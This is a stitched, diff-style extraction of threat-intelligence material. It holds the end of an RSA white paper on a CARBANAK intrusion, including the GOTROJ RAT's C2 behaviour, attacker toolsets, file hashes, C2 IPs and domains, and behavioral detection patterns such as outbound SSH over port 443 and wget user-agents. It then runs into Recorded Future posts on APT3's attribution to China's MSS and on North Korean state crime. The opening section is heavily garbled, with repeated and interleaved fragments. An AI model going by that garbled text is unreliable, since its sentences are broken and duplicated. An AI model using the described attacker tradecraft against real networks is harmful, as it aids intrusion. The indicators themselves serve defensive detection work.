+Deleted:
+Deleted:
+Deleted:
+Comment
+Comment [A
+Figure
+GOTROJ
+Windows
+Service
+Figure
+52: Installation
+Installation
+GOTROJ RAT
+ViaVia
+Windows
+ServiceService
+Figure 52:
+Installation
+of of
+GOTROJ
+Windows
+Figure 53:
+Deletion
+of GOTROJ
+Windows
+Service
+After
+Execution
+Figure
+Figure 53:
+53: Deletion
+Deletion of
+of GOTROJ
+GOTROJ Windows
+Windows Service
+Service After
+After Execution
+Execution
+Once successfully executed, GOTROJ communicates with 107.181.246.146 over TCP port 443.
+Once successfully executed, GOTROJ communicates with 107.181.246.146
+TCP portThe!Shadows!o
+443.
+! over
+Once
+successfully
+executed,
+GOTROJ
+communicates
+withsection,
+107.181.246.146
+When
+Deleted:
+When reviewing
+reviewing the
+the host
+host screen
+screen
+s Scan
+Scan Data
+Data tab,
+tab, under
+under the
+the Processes
+Processes section,
+we see
+see where
+where the
+Deleted:
+network
+connection
+with
+ctlmon.exe
+process
+shown
+network
+connection
+is correlated
+correlated
+with the
+the running
+running
+ctlmon.exe
+process
+by clicking
+clicking
+on it,
+it,under
+asCase!Study:!CAR
+shown
+over
+port 443.
+When reviewing
+the host
+screen
+Scan
+Data
+tab,
+in Figure
+Figure 54.
+! is correlated
+the Processes section, we see where the network connection
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+with the running ctlmon.exe process by clicking on it, as shown in
+Figure 54.
+Page
+Page 54
+Figure
+54:54:
+GOTROJ
+NetworkConnection
+Connection
+Information
+Figure
+GOTROJProcess
+ProcessExecuting
+Executing and
+and Network
+Information
+Figure 54: GOTROJ Process Executing and Network Connection Information
+Additionally,
+the GOTROJ
+ctlmon.exe
+binary itself
+canitself
+be triaged
+the RSA
+Additionally,
+the GOTROJ
+ctlmon.exe
+binary
+can bevia
+triaged
+via NetWitness
+Endpoint module analyzer in order to identify the imported function and DLL information,
+the RSA NetWitness Endpoint module analyzer in order to identify the
+PE headerctlmon.exe
+information and
+searchable
+static
+strings
+analysis. One
+initial
+triage
+Additionally, entropy,
+the GOTROJ
+binary
+itself
+be triaged
+via common
+the RSA
+NetWitness
+imported
+function
+DLL information,
+entropy,
+header
+information
+search
+pattern
+identifying
+possible
+strings
+common
+port
+value
+strings,
+such
+Endpoint module analyzer in order to identify the imported function and DLL information,
+:443.
+ searchable
+The use of this
+search
+string
+to triage
+GOTROJ
+Trojan
+identifies
+C2 IP address
+static
+strings
+analysis.
+common
+initial
+triage
+search
+pattern
+entropy, PE header
+information
+searchable
+static
+strings
+analysis.
+and port value
+in a clear text
+string
+at offset 0x3049304,
+as evidenced
+in Figure
+55. common initia
+identifying possible
+possible C2C2
+strings
+is common
+web portweb
+valueport
+strings,
+such as
+search pattern for for
+identifying
+strings
+is common
+value
+strings, such
+:443.
+this
+search
+string
+triage
+GOTROJ
+Trojan
+identifies
+:443.
+ The use of this search string to triage the GOTROJ Trojan identifies the C2 IP add
+C2 IPtext
+address
+and port
+value in0x3049304,
+a clear text string
+offset 0x3049304,
+as 55.
+and port value in athe
+clear
+string
+at offset
+as atevidenced
+in Figure
+evidenced in Figure 55.
+Figure 55: C2 IP and Port Identification in Cursory Analysis via RSA NetWitness Endpoint Module Analyzer
+Figure 55: C2 IP and Port Identification in Cursory Analysis via RSA NetWitness
+Figure 55: C2 IP and Port Identification in Endpoint
+CursoryModule
+Analysis
+via RSA NetWitness Endpoint Module A
+Analyzer
+WHITE PAPER
+5. CONCLUSION
+The attackers in this engagement primarily used modified versions of legitimate
+administrative tools, commonly used penetration testing utilities and common
+network file acquisition tools. Though specialty malware was observed during
+this intrusion, the attackers used basic XOR encoding just above Layer 4 to
+facilitate communication, communicated via SSH tunnel directly over TCP/443,
+or just transmitted and received data in clear text across the network. Of the
+observed actions during this intrusion, none of the attacker tools, techniques or
+procedures was particularly advanced. However, they were still able to bypass
+a significant security stack, obtain initial access and lateral access effectively,
+deploy malware and toolsets with impunity, and traverse over 150 systems in
+the span of six weeks. While, at first glance, this attack was not sophisticated
+in its toolset, it was sophisticated in its operationalization and agility of actions
+taken by the attackers. Upon reviewing the entirety of tools used in this
+engagement, operational correlations can be made between the Linux and
+Windows toolsets, as illustrated in Table 26.
+Cross Platform Toolsets and Purpose
+Linux
+Windows
+Function
+Winexe
+Tinyp
+Lateral Movement
+Auditunnel (Linux
+Version)
+Auditunnel (Windows
+Version)
+Ingress Tunneling
+PScan (Linux Version)
+PScan (Windows
+Version)
+Internal Recon
+WGet (Linux Version)
+WGet (Windows
+Version)
+Toolset Download
+PSCP
+File Transfer
+Table 26: Cross-Platform Toolset Utilization
+The CARBANAK actors not only showed the capability to successfully
+compromise both Linux and Windows systems but they chose a toolset that
+was either directly cross-platform or extremely similar in both function
+and command line usage. This indicates a level of tactical organization and
+operationalization not previously observed by this actor group. Additionally,
+they were significantly cognizant and aware of actions taken by the security
+team, switching to new methods of ingress after initial compromise, detected
+remediation actions and environmental migration. They were methodical in
+their choice of staging systems, basing the system utilized on:
+ a critical function of lateral access (such as systems BRAVO and DELTA) or
+ responder detection and investigation (such as system CHARLIE)
+They chose key systems based on their needs rather than systems the
+organization would consider 
+ assets. They ensured the toolsets they
+would interact with most often contained very similar functions and
+commands across environments in order to limit mistakes made at the
+WHITE PAPER
+keyboard. They included a method, whether manually or automatically, to
+remove records of their activities. They operated with purpose, patience,
+planning and, most significantly, persistence.
+This intrusion was successfully discovered, investigated, contained,
+eradicated and remediated only due to the following reasons:
+1. The organization invested in the necessary visibility at a host and network
+level to allow analysts to rapidly and effectively hunt for and investigate
+these types of threats.
+2. The organization had invested and empowered their personnel to
+creatively and proactively hunt for, understand, investigate and learn from
+threats within their environment.
+3. The organization had maintained a relationship with a proven and trusted
+advisory practice and had worked to recreate and implement a solid and
+proven Threat Hunting and Incident Response methodology within their
+own organization.
+4. The organization had a solid top-down understanding of what role
+Threat Hunting and Incident Response held during daily operations and
+security incidents, and provided the necessary support and enablement to
+subordinate units and analysts.
+While a first look at the tools used in this engagement may appear simplistic,
+upon review of the entire intrusion it becomes quickly apparent that each
+of them was purpose-chosen with an overall operationalized capability in
+mind. CARBANAK has shown themselves to be a coordinated and extremely
+persistent group of actors that are consistently moving towards more agile
+methods of intrusion and standardization of processes across heterogeneous
+environments. They have proven their capability to use that persistence
+and agility to defeat or bypass organizational security controls. Even with
+the least advanced of their capabilities, they can be a difficult adversary to
+track within an environment due to their speed, efficiency, adaptability and
+care in leaving little trace of any activity. However, this difficulty compounds
+exponentially for organizations without the necessary visibility, practices,
+methodologies or trusted partner relationships necessary to effectively
+detect and respond to these types of threats. This case study shows that
+with the necessary visibility, planning, methodology and analyst enablement,
+organizations can be successful against these types of threats.
+Disclaimer: This white paper and related graphics are provided for
+informational and/or educational purposes. RSA is not responsible for errors,
+omissions or for results obtained from the use of this information. This
+white paper is being provided 
+as-is,
+ with no guarantee of completeness,
+timeliness or accuracy, and without warranty of any kind. This white paper
+is not intended to be a substitute for legal or other professional advice, and
+constitutes the opinions of the author(s).
+WHITE PAPER
+6. INDICATORS OF COMPROMISE
+6.1 ATOMIC INDICATORS OF COMPROMISE
+Host Indicators
+E3C061FA0450056E30285FD44A74CD2A
+slpar.org
+370D420948672E04BA8EAC10BFE6FC9C
+centos-repo.org
+90D4CC6D4B81B8C462F5AA7166FEE6FB
+95.215.46.116
+F9766140642C24D422E19E9CF35F2827
+185.61.148.145
+EB87856732236E1AC7E168FE264F1B43
+185.61.148.96
+B57DC2BC16DFDB3DE55923AEF9A98401
+107.181.246.146
+B3135736BCFDAB27F891DBE4009A8C80
+192.99.14.211
+0F1C4A2A795FB58BD3C5724AF6F1F71A
+95.215.47.122
+209BC26396E838E4B665FE3D1CCF7787
+95.215.61.192
+6499863D47B68030F0C5FFAFAFFB1344
+5.45.179.173
+752D245F1026482A967A763DAE184569
+185.86.151.174
+8B3A91038ECB2F57DE5BBD29848B6DC4
+185.165.29.27
+AB8BED25F9FF64A4B07BE5D3BC34F26B
+185.117.88.97
+7393CB0F409F8F51B7745981AC30B8B6
+95.215.44.129
+C4D746B8E5E8E12A50A18C9D61E01864
+185.165.29.26
+BD126A7B59D5D1F97BA89A3E71425731
+6499863D47B68030F0C5FFAFAFFB1344
+752D245F1026482A967A763DAE184569
+1BD7D0C3023C55B5DF0201CC5D7BBCE1
+C01FD758ABB423C8336EE1BD5035A6C7
+BD126A7B59D5D1F97BA89A3E71425731
+771FA63231FB42EE97AA17818A53F432
+EDCE844A219C7534E6A1E7C77C3CB020
+0810D239169A13FC0E2E53FC72D2E5F0
+D66E31794836DFD2C344D0BE435C6D12
+E3C061FA0450056E30285FD44A74CD2A
+A365FD9076AF4D841C84ACCD58287801
+9E2E4DF27698615DF92822646DC9E16B
+5DDF9683692154986494CA9DD74B588F
+F9766140642C24D422E19E9CF35F2827
+D406E037F034B89C85758AF1A98110BE
+D825FBD90087D2350E89CBF205A1B71C
+Network Indicators
+WHITE PAPER
+6.2 Behavioral Indicators of Compromise
+Host Indicators
+C:\Windows\SysWOW64\zh-TW
+Directory Usage
+Outbound SSH over TCP/443
+Command Line Arguments
+Containing 
+-getfiles,
+-copyfiles,
+-copyself,
+-cleanup
+ or 
+http://[0-9]
+{1,3}\.
+Outbound HTTP over TCP/443,
+Direct to IP Address, User-Agent
+Beginning with 
+wget
+ or 
+cmd.exe -> qwinsta.exe
+Outbound SSH where Client
+Application and Server Application =
+openssh_5.3
+ or Client Application =
+Server Application
+WindowsCtlMonitor Windows
+Service
+PSEXESVC.EXE, WINEXESVC.EXE in
+C:\Windows
+/usr/share/man/mann Directory
+Usage
+ssh,
+sshd,
+auditd
+ in NonStandard Directories
+Linux System Binary Names Not
+Associated With RPM Package
+Linux Child Processes with a Parent
+of systemd Not Associated With
+RPM Package
+HKLM\SYSTEM\ControlSet001\
+services\PSEXESVC Registry Entries
+HKLM\SYSTEM\ControlSet001\
+services\WINEXESVC Registry
+Entries
+Command Line Arguments Ending in
+Command Line Arguments
+Containing 
+\\[a-zA-Z0-9]{3,}
+Network Indicators
+WHITE PAPER
+7. DIGITAL APPENDIX
+Below is a list of the files and folders contained within the RSA_IR_
+CARBANAK_Digital_Appendix. While specifically created for RSA
+technologies, this Digital Appendix also contains traditional IOCs and
+descriptive content that can be integrated into third-party technologies,
+such as OSQuery, Moloch and SOF-ELK. For RSA NetWitness Suite users,
+the supplied content is currently available in RSA Live but provided here
+for custom content creation purposes. All content should be tested before
+full integration into RSA NetWitness Endpoint, RSA NetWitness Logs and
+Packets, or third-party tools to prevent any adverse effects from unknown
+environmental variables.
+RSA_IR_Digital_Appendix.zip File Hash:
+AD4B3B859FA85957B479D824E19C9957
+RSA_IR_Digital_Appendix.zip Contents:
+ NetWitness_Endpoint
+oo tinyp_unique_command_line_arguments.sql
+oo psexec_winexe_remote_service_creation.sql
+ NetWitness_Packets
+oo RSA_IR_Carbanak_Domain.csv
+ List of Carbanak domains referenced in report
+oo RSA_IR_Carbanak_Domain.xml
+oo RSA_IR_Carbanak_IP.csv
+ List of Carbanak IPs referenced in report
+oo RSA_IR_Carbanak_IP.xml
+oo auditunnel_init.lua
+ AUDITUNNEL traffic pattern identification with comments
+oo gotroj_beacon_parser.lua
+ GOTROJ traffic pattern identification with comments
+ CARBANAK_Hashset.md5
+ List of Carbanak file hashes referenced in report
+RSA and the RSA logo, are registered trademarks or trademarks of Dell Technologies in
+the United States and other countries. 
+ Copyright 2017 Dell Technologies. All rights reserved.
+Published in the USA. 10/17 White Paper H16777.
+RSA believes the information in this document is accurate as of its publication date.
+The information is subject to change without notice.
+Recorded Future Research Concludes Chinese Ministry of
+State Security Behind APT3
+recordedfuture.com /chinese-mss-behind-apt3/
+The Recorded Future Blog
+5/17/2017
+Posted in
+Cyber Threat Intelligence
+by Insikt Group on May 17, 2017
+This is the first time researchers have been able to attribute a
+threat actor group with a high degree of confidence to the
+Ministry of State Security.
+Key Takeaways
+APT3 is the first threat actor group that has been attributed with a high degree of confidence directly to the
+Chinese Ministry of State Security (MSS).
+On May 9, a mysterious group called 
+intrusiontruth
+ attributed APT3 to a company, Guangzhou Boyu
+Information Technology Company, based in Guangzhou, China.
+Recorded Future
+s open source research and analysis has corroborated the company, also known as
+Boyusec, is working on behalf of the Chinese Ministry of State Security.
+Customers should re-examine any intrusion activity known or suspected to be APT3 and all activity from
+associated malware families as well as re-evaluate security controls and policies.
+Introduction
+On May 9, a mysterious group calling itself 
+ intrusiontruth
+ identified a contractor for the Chinese Ministry of State
+Security (MSS) as the group behind the APT3 cyber intrusions.
+Recorded Future timeline of APT3 victims.
+Screenshot of a blog post from 
+intrusiontruth in APT3.
+Intrusiontruth
+ documented historic connections between domains used by an APT3 tool called Pirpi and two
+shareholders in a Chinese information security company named Guangzhou Boyu Information Technology
+Company, Ltd (also known as Boyusec).
+Registration information for a domain linked to the malware Pirpi. The details show the domain was registered to
+Dong Hao and Boyusec.
+APT3 has traditionally targeted a wide-range of companies and technologies, likely to fulfill intelligence collection
+requirements on behalf of the MSS (see research below). Recorded Future has been closely following APT3 and
+has discovered additional information corroborating that the MSS is responsible for the intrusion activity conducted
+by the group.
+Recorded Future Intel Card for APT3.
+Background
+APT3 (also known as UPS, Gothic Panda, and TG-011) is a sophisticated threat group that has been active since at
+least 2010. APT3 utilizes a broad range of tools and techniques including spearphishing attacks, zero-day exploits,
+and numerous unique and publicly available remote access tools (RAT). Victims of APT3 intrusions include
+companies in the defense, telecommunications, transportation, and advanced technology sectors 
+ as well as
+government departments and bureaus in Hong Kong, the U.S., and several other countries.
+Analysis
+On Boyusec
+s website, the company explicitly identifies two organizations that it cooperatively partners with,
+Huawei Technologies and the Guangdong Information Technology Security Evaluation Center (or Guangdong
+ITSEC).
+Screenshot of Boyusec
+s website where Huawei and Guangdong ITSEC are
+identified as collaborative partners.
+In November 2016, the Washington Free Beacon reported that a Pentagon internal intelligence report had exposed
+a product that Boyusec and Huawei were jointly producing. According to the Pentagon
+s report, the two companies
+were working together to produce security products, likely containing a backdoor, that would allow Chinese
+intelligence 
+to capture data and control computer and telecommunications equipment.
+ The article quotes
+government officials and analysts stating that Boyusec and the MSS are 
+closely connected,
+ and that Boyusec
+appears to be a cover company for the MSS.
+Imagery 
+2017 DigitalGlobe, Map data 
+2017
+Boyusec is located in Room 1103 of the Huapu Square West Tower in Guangzhou, China.
+Boyusec
+s work with its other 
+cooperative partner,
+ Guangdong ITSEC, has been less well-documented. As will be
+laid out below, Recorded Future
+s research has concluded that Guangdong ITSEC is subordinate to an MSS-run
+organization called China Information Technology Evaluation Center (CNITSEC) and that Boyusec has been working
+with Guangdong ITSEC on a joint active defense lab since 2014.
+Guangdong ITSEC is one in a nation-wide network of security evaluation centers certified and administered by
+CNITSEC. According to Chinese state-run media, Guangdong ITSEC became the sixteenth nationwide branch of
+CNITSEC in May 2011. Guangdong ITSEC
+s site also lists itself as CNITSEC
+s Guangdong Office on its header.
+According to academic research published in China and Cybersecurity: Espionage, Strategy, and Politics in the
+Digital Domain, CNITSEC is run by the MSS and houses much of the intelligence service
+s technical cyber
+expertise. CNITSEC is used by the MSS to 
+conduct vulnerability testing and software reliability assessments.
+ Per
+a 2009 U.S. State Department cable, it is believed China may also use vulnerabilities derived from CNITSEC
+activities in intelligence operations. CNITSEC
+s Director, Wu Shizhong, even self-identifies as MSS, including for his
+work as a deputy head of China
+s National Information Security Standards Committee as recently as January 2016.
+Recorded Future research identified several job advertisements on Chinese-language job sites such as
+jobs.zhaopin.com, jobui.com, and kanzhun.com since 2015, Boyusec revealed a collaboratively established joint
+active defense lab (referred to as an ADUL) with Guangdong ITSEC in 2014. Boyusec stated that the mission of the
+joint lab was to develop risk-based security technology and to provide users with innovative network defense
+capabilities.
+Job posting where Boyusec highlights the joint lab with Guangdong ITSEC. The translated text is, 
+In 2014,
+Guangzhou Boyu Information Technology Company and Guangdong ITSEC cooperated closely to establish a joint
+active defense lab (ADUL).
+Conclusion
+The lifecycle of APT3 is emblematic of how the MSS conducts operations in both the human and cyber domains.
+According to scholars of Chinese intelligence, the MSS is composed of national, provincial, and local elements.
+Many of these elements, especially at the provincial and local levels, include organizations with valid public missions
+to act as a cover for MSS intelligence operations. Some of these organizations include think tanks such as CICIR,
+while others include provincial-level governments and local offices.
+In the case of APT3 and Boyusec, this MSS operational concept serves as a model for understanding the cyber
+activity and lifecycle:
+While Boyusec has a website, an online presence, and a stated 
+information security services
+ mission, it
+cites only two partners, Huawei and Guangdong ITSEC.
+Intrusiontruth and the Washington Free Beacon have linked Boyusec to supporting and engaging in cyber
+activity on behalf of the Chinese intelligence services.
+Recorded Future
+s open source research has revealed that Boyusec
+s other partner is a field office for a
+branch of the MSS. Boyusec and Guangdong ITSEC have been documented working collaboratively together
+since at least 2014.
+Academic research spanning decades documents an MSS operational model that utilizes organizations,
+seemingly without an intelligence mission, at all levels of the state to serve as cover for MSS intelligence
+operations.
+According to its website, Boyusec has only two collaborative partners, one of which (Huawei) it is working
+with to support Chinese intelligence services, the other, Guangdong ITSEC, which is actually a field site for a
+branch of the MSS.
+Graphic displaying the relationship between the MSS and APT3.
+Impact
+The implications are clear and expansive. Recorded Future
+s research leads us to attribute APT3 to the Chinese
+Ministry of State Security and Boyusec with a high degree of confidence. Boyusec has a documented history of
+producing malicious technology and working with the Chinese intelligence services.
+APT3 is the first threat actor group that has been attributed with a high degree of confidence directly to the MSS.
+Companies in sectors that have been victimized by APT3 now must adjust their strategies to defend against the
+resources and technology of the Chinese government. In this real-life David versus Goliath situation, customers
+need both smart security controls and policy, as well as actionable and strategic threat intelligence.
+APT3 is not just another cyber threat group engaging in malicious cyber activity; research indicates that Boyusec is
+an asset of the MSS and their activities support China
+s political, economic, diplomatic, and military goals.
+The MSS derives intelligence collection requirements from state and party leadership, many of which are defined
+broadly every five years in official government directives called Five Year Plans. Many APT3 victims have fallen into
+sectors highlighted by the most recent Five Year Plan, including green/alternative energy, defense-related science
+and technology, biomedical, and aerospace.
+North Korea Is Not Crazy
+www.recordedfuture.com /north-korea-cyber-activity/
+The Recorded Future Blog
+by Insikt Group on June 15, 2017
+Intent is critical to comprehending North Korean cyber activity.
+Understanding North Korean national objectives, state organizations, and military strategy are key to, and often
+missing from, discussions about attributing North Korean cyber activity. Frequently, senior political leaders, cyber
+security professionals, and diplomats describe North Korean leaders or their respective actions as 
+crazy,
+erratic,
+not rational.
+ This is not the case. When examined through the lens of North Korean military strategy, national
+goals, and security perceptions, cyber activities correspond to their larger approach.
+Recorded Future research reveals that North Korean cyber actors are not crazy or irrational: they just have a wider
+operational scope than most other intelligence services.
+This scope comprises a broad range of criminal and terrorist activity, including illegal drug manufacturing and
+selling, counterfeit currency production, bombings, assassination attempts, and more. The National Security Agency
+(NSA) has attributed the April WannaCry ransomware attacks to North Korea
+s intelligence service, the
+Reconnaissance General Bureau (RGB). We assess that use of ransomware to raise funds for the state would fall
+under both North Korea
+s asymmetric military strategy and 
+self-financing
+ policy, and be within the broad
+operational remit of their intelligence services.
+Background
+The Democratic People
+s Republic of Korea (DPRK or North Korea) is a
+hereditary, Asian monarchy with state, party, and military organizations
+dedicated to preserving the leadership of the Kim family. North Korea is
+organized around its communist party, the Korean Worker
+s Party
+(KWP), and the military, the Korean People
+s Army (KPA).
+The Reconnaissance General Bureau (RGB), also known as 
+ Unit 586,
+was formed in 2009 after a large restructure of several state, military,
+and party intelligence elements. Subordinate to the KPA, it has since
+emerged as not just the dominant North Korean foreign intelligence
+service, but also the center for clandestine operations. The RGB and its
+predecessor organizations are believed responsible for a series of
+bombings, assassination attempts, hijackings, and kidnappings
+commencing in the late 1950s, as well as a litany of criminal activities,
+including drug smuggling and manufacturing, counterfeiting, destructive
+cyber attacks, and more.
+Satellite Image of the RGB Southern Operations Building in Pyongyang. ( Source)
+As North Korea
+s lead for clandestine operations, the RGB is also likely the primary cyber operations organization as
+well. As described by the Center for Strategic and International Studies in 2015 report:
+The RGB is a hub of North Korean intelligence, commando, and sabotage operations. The RGB history of its
+leadership and component parts paints a picture of a one-stop shop for illegal and clandestine activity conducted
+outside the DPRK. The RGB and, prior to 2009 its component parts, have been involved in everything from
+maritime-inserted commando raids to abductions and spying. For the RGB to be in control of cyber assets indicates
+that the DPRK intends to use these assets for provocative purposes.
+The RGB probably consists of seven bureaus; six original bureaus and a new seventh (Bureau 121) that was likely
+added sometime after 2013.
+RGB organizational chart, compiled with information from The Korea Herald, 38 North, and CSIS.
+Bureau 121 is probably North Korea
+s primary cyber operations unit, but there are other units within the KPA and
+KWP that may also conduct cyber operations.
+Attribution of specific cyber activity to the North Korean state or intelligence organizations is difficult, and up until
+recently, circumstantial. On June 12, US-CERT released a joint technical alert that summarized analysis conducted
+by the U.S. Department of Homeland Security (DHS) and FBI on the 
+tools and infrastructure used by cyber actors
+of the North Korean government to target the media, aerospace, financial, and critical infrastructure sectors in the
+United States and globally.
+This alert marked the first time the U.S. government linked threat actor groups and malware long-suspected to be
+utilized by North Korean state-sponsored actors with the with North Korean government itself. DHS and FBI
+explicitly identified two threat actor groups, Lazarus Group and Guardians of Peace, and three tools, Destover, Wild
+Positron/Duuzer, and Hangman, as used by the North Korean government. While the FBI and DHS identified many
+indicators of compromise, Yara rules, and network signatures, the report did not provide any evidence supporting the
+attribution to the North Korean government or details on which organization or unit might be responsible.
+Lazarus Group, now known to be North Korean state-sponsored actors, have been conducting operations since at
+least 2009, with a DDoS attack on U.S. and South Korean websites using the MYDOOM worm. Until late 2015,
+Lazarus Group cyber activities primarily focused on South Korean and U.S. government and financial organizations,
+including destructive attacks on South Korean banking and media sectors in 2013 and highly publicized attack on
+Sony Pictures Entertainment in 2014.
+Timeline of Lazarus Group cyber operations since 2009.
+In early 2016, a new pattern of activity began to emerge in an unusual operation against the Bangladesh Central
+Bank. Actors obtained the legitimate Bangladesh Central Bank credentials for the SWIFT interbank messaging
+system and used them to attempt to transfer $951 million of the bank
+s funds to accounts around the world. A few
+simple errors by the actors (and some pure luck) allowed central bankers to prevent the transfer of or recover most
+of the funds, but the attackers ended up getting away with nearly $81 million.
+The National Security Agency ( NSA) has attributed this attack on the Bangladesh Central Bank to the North Korean
+state, however, the investigation within the U.S. government is still ongoing. Threat analysts from numerous
+companies have attributed this attack and subsequent attacks on banks around the world through early 2017 to the
+Lazarus Group (which DHS, FBI, and NSA have all linked to the North Korean government over the past three
+days).
+According to a Washington Post report published on June 14, the NSA has compiled an intelligence assessment on
+the WannaCry campaign and has attributed the creation of the WannaCry worm to 
+cyber actors sponsored by
+ the
+RGB. This assessment, which was apparently issued internally last week, cited 
+moderate confidence
+ in the
+attribution and ascribed the April campaign as an 
+attempt to raise revenue for the regime.
+The attacks on the Bangladesh Central Bank, additional banks around the world, and the WannaCry ransomware
+campaign represent a new phase in North Korean cyber operations, one that mirrors the phases of violence and
+criminality North Korea has passed through over the past 50 years. We will examine these phases later in this post.
+The broad operational range of known and suspected North Korean cyber operations has for years raised questions
+about the rationality of North Korean leadership, possible motivations and benefits for the country from this type of
+cyber activity, and why North Korea would deny responsibility for these attacks. Recorded Future research
+addresses these questions by examining the whole picture and pairing geopolitical and strategic intelligence with
+threat intelligence.
+Analysis
+Digging into some of these past North Korean activities is important to add context to the cyber operations we have
+tracked since 2009. North Korea
+s engagement in a wide range of criminal and terrorist activities is part of its broad
+national strategy, which employs asymmetric operations and surprise attacks to overcome North Korea
+conventional national power deficit.
+According to an interview with a former U.S. State Department official, and North Korea expert, in Vanity Fair,
+crime, in other words, has become an integral part of North Korea
+s economy. 
+It not only pays, it plays to their
+strategy of undermining Western interests.1
+It is critical to place North Korea
+s criminal and cyber activity in the context of its larger military and national security
+strategies which support two primary objectives:
+1. Perpetuation of the Kim regime,
+2. Unification of the Korean peninsula under North Korean leadership.
+A 2016 University of Washington study succinctly summarizes North Korea
+s asymmetric military strategy:
+Since the end of the Korean War, North Korea has developed an asymmetric military strategy, weapons, and
+strength because its conventional military power is far weaker than that of the U.S. and South Korea. Thus, North
+Korea has developed three military strategic pillars: surprise attack; quick decisive war; mixed tactics. First, its
+surprise attack strategy refers to attacking the enemy at an unexpected time and place. Second, its quick decisive
+war strategy is to defeat the South Korean military before the U.S. military or international community could
+intervene. Lastly, its mixed tactics strategy is to use multiple tactics at the same time to achieve its strategic goal.
+Despite their near-constant tirade of bellicose rhetoric and professions of strength, North Korea fundamentally views
+the world from a position of weakness, and has developed a national strategy that utilizes its comparative strengths
+ complete control over a population of 25 million people and unflinching, amoral devotion to the Kim hereditary
+dynasty.
+In this context, criminality, terrorism, and destructive cyber attacks all fit within the North Korean asymmetric military
+strategy which emphasizes surprise attacks and mixed tactics. The criminality and cyber attacks also have the
+added bonus of enabling North Korea to undermine the very international economic and political systems that
+constrain and punish it.
+Evidence is mounting that sanctions, international pressure, and possibly increased enforcement by China are
+beginning to take their toll on the North Korean economy and in particular, North Korea intelligence agent
+s ability to
+procure goods for regime leadership. A May 2017 report from the Korea Development Institute concluded that North
+Korea
+s black market had helped the nation endure the impacts of the international sanctions last year.
+Detailed below are numerous non-cyber operations that have been conducted by the predecessor organizations of
+the RGB. The violence, destruction, and criminal breadth of these operations reveal the broad operational scope of
+these intelligence services and the context in which they are conducted.
+This data further reveals a history of denials by North Korea of responsibility for operations dating back to the 1960s,
+putting into context the current leadership
+s denials of cyber operations.
+Note
+The activities detailed below are intended to be illustrative, not an exhaustive list, of the broad operational remit for
+North Korean operations.
+Blue House Raid
+One of the first major attacks on South Korea since the armistice was declared after the Korean War in 1953
+occurred in 1968. The so-called 
+Blue House Raid
+ was an assassination attempt on then-President Park Chung
+Hee by 31 North Korean special operations soldiers on the night of January 20, 1968. The 31 North Korean soldiers
+crossed the DeMilitarized Zone (DMZ) on foot and managed to get within a half mile of the President
+s residence
+(the so-called 
+Blue House
+) before being exposed. Upon discovery the North Korean soldiers engaged in a series
+of firefights with South Korean forces; 68 South Koreans and three U.S. soldiers were killed. Most of the North
+Korean soldiers were killed in the eight days after the raid; two made it back across the DMZ and one was captured.
+The captured North Korean soldier claimed during a press conference that they had come to 
+cut Park Chung Hee
+throat.
+ That account was disputed during a secret meeting in 1972 between a South Korean intelligence official
+and the then-Premier Kim Il-sung. Kim claimed his government had nothing to do with the raid and 
+did not even
+know about it at the time.
+A captured North Korean soldier after the Blue House Raid. (Source)
+1983 Rangoon Bombing
+On October 9, 1983, three North Korean soldiers attempted to assassinate then-South Korean President Chun Doo
+Hwan while on a trip to Myanmar. A bomb at a mausoleum the President was scheduled to visit detonated early,
+killing 21 people, including the Korean Foreign Minister and Deputy Prime Minister.
+During the trial for the bombers, testimony revealed that the North Korean agents used a North Korean trading
+vessel to travel to Myanmar and the home of a North Korean diplomat to prepare the bombs. In a classified report
+(report was declassified in 2000) ten days after the bombing, CIA analysts laid out a strong case that North Korea
+was responsible for the attack despite official denials of involvement from the official North Korean news agency.
+North Korean state media even accused President Chun of using the attack to increase tensions on the peninsula.
+South Korean officials wait at the mausoleum in Rangoon minutes
+before the bomb detonated. (Source)
+Korean Air Flight 858 Bombing
+On November 29, 1987, two North Korean intelligence agents boarded and placed a bomb on a Korean Air flight
+from Baghdad, Iraq to Seoul. During a layover in Abu Dhabi, the two agents de-planed but left the bomb (disguised
+as a radio) onboard. The bomb detonated and the plane crashed in the jungle on the Thai-Burma border and killed
+all 115 people on board.
+One of the North Korean intelligence agents, who was captured alive, later revealed that the bombing was meant to
+discourage foreign participation in the 1988 Olympic Games in Seoul and create unrest
+ in South Korea. The agent
+also confessed that the order to bomb the plane had come directly from then North Korean leader Kim Il-Sung or his
+son, later leader Kim Jong-il.
+Transition to Criminality
+By the mid-1990s, North Korea had generally shifted from acts of terrorism to criminality. While North Korea had
+held a policy of 
+self-financing,2
+ in which embassies and diplomatic outposts were forced to earn money for their
+own operations typically via engaging in illicit activity such as smuggling, since the late 1970s, it was during the
+1990s that this criminality became a business of the entire state and not just the diplomatic establishment. A number
+of factors affected this shift, including the end of the Cold War and the withdrawal of crucial aid from benefactors
+(like the Soviet Union and China), a crippling famine, a leadership transition, and years of international
+condemnation and punitive actions.
+A 2015 report from the Committee for Human Rights in North Korea characterizes North Korea
+s involvement in
+illicit economic activities
+ into three separate phases. First, from the origins of North Korea state involvement in the
+1970s through mid-1990s, from the mid-90s through the mid-2000s, and approximately 2005 to today. The RGB, its
+predecessor organizations, and other military and intelligence services support these illicit activities.
+Illegal Drug Manufacturing and Smuggling
+North Korea has had a state-sponsored drug smuggling (and later manufacturing as well) program since the mid1970s. This vast enterprise has been supported by the military, intelligence services, and diplomats and has often
+included working with criminal organizations such as the Taiwanese gang United Bamboo, Philippine criminal
+syndicates, and Japanese organized crime.3
+Academic research indicates that North Korea has developed extensive covert smuggling networks and capabilities
+primarily to provide a means of hard currency for the Kim regime.
+The North Korean state actively cultivates opium poppy and produces as much as 50 metric tons of raw opium per
+year. To put that in context, the United Nations estimates that Afghanistan produced 6,400 tons of raw opium in
+2014, which makes North Korea a minor producer in comparison. According to a Congressional Research Service
+report, government processing labs have the capacity to process twice that amount into opium or heroin each year.
+Experts estimate that North Korea brings in as much as $550 million to $1 billion annually from illicit economic
+activities.
+Counterfeiting
+One of the more widely reported North Korean criminal enterprises has been the production of counterfeit American
+$100 (and $50) bills, or so-called 
+supernotes.
+ In a 2006 Congressional testimony, the U.S. Secret Service made a
+definitive link between the production of the 
+supernote
+ and the North Korean state.
+According to interviews in a 2006 New York Times Magazine article, North Korean state support for counterfeiting
+U.S. currency dates back to a directive issued by Kim Jong-il in the mid-1970s. Original counterfeiting involved
+bleaching $1 bills and reprinting them as $100 notes and evolved over time as North Korea
+s international isolation
+grew and its economy collapsed.
+Supernote
+ and a real $100 bill. (Source)
+Distribution and production of the supernotes followed a similar pattern to North Korean-produced narcotics, utilizing
